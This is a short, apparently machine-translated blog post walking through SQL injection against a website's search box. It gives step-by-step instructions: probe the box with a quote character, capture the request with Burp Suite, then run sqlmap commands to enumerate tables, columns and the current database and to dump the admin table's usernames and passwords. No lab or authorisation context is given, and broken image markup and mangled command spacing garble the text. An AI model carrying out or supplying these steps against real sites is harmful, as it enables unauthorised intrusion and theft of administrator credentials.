Today found a search injection, mainly using the site's search engine to inject
As shown in the following example:
650) this.width=650; "Src=" https://s2.51cto.com/wyfs02/M01/92/0B/wKiom1j61SPwH7WHAAJnrX2FVDU767.png-wh_500x0-wm_ 3-wmp_4-s_3067227714.png "title=" 0.png "alt=" Wkiom1j61spwh7whaajnrx2fvdu767.png-wh_50 "/>
In this search place, we can enter 2 characters to verify whether they can inject;
Input: ' Error
Input:% not error
Meet the above 2 points, you can inject, we need to use the tool for Burpsuit,sqlmap
1: First we enter a random number in the search box, I enter 123 here, use Burpsuit to grab his bag
650) this.width=650; "Src=" https://s2.51cto.com/wyfs02/M02/92/0B/wKiom1j61mOjsstNAABfeT9hfqw620.png-wh_500x0-wm_ 3-wmp_4-s_4289760018.png "title=" 23.png "alt=" Wkiom1j61mojsstnaabfet9hfqw620.png-wh_50 "/>
2: Then grab the bag and copy it and paste it into the text document and save it in the 1.txt file.
The command is: Python sqlmap/sqlmap.py-r 1.txt
3:python sqlmap/sqlmap.py-r 1.txt--tables guess table name
4:python sqlmap/sqlmap.py-r 1.txt--current-db View current database
5:python sqlmap/sqlmap.py-r 1.txt-t admin--columns guess column name
6:python sqlmap/sqlmap.py-r 1.txt-d Specify database-t admin-c Admin,password--dump
In the comprehensive, can.
This article is from the "Costin" blog, make sure to keep this source http://brighttime.blog.51cto.com/12837169/1918433
Burpsuit Auxiliary Sqlmap attack